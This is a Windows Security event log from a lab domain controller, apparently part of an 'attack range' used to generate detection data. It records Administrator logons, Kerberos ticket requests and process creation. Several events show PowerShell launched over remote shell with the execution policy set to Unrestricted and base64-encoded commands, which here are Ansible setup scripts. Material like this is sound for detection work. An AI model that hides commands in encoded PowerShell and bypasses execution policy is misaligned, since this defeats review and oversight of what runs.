The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251363
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251362
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251361
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251360
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11ac
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADgALgA0ADUAOQAyADQALQA1ADkAOAAzADcANAA3ADYAOQAzADYAOAA5ADYAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251359
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11ac
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADgALgA0ADUAOQAyADQALQA1ADkAOAAzADcANAA3ADYAOQAzADYAOAA5ADYAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251358
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x132587

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251357
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x132587
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251356
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251355
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251354
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251353
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13256B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251352
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13256B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251351
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13256B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251350
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251349
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251348
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251347
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130E65

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251346
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x112c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1308
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANgA4AC4ANAA1ADkAMgA0AC0ANQA5ADgAMwA3ADQANwA2ADkAMwA2ADgAOQA2ACcACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJAB0AG0AcAAuAEYAdQBsAGwATgBhAG0AZQAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251461
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x136711

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
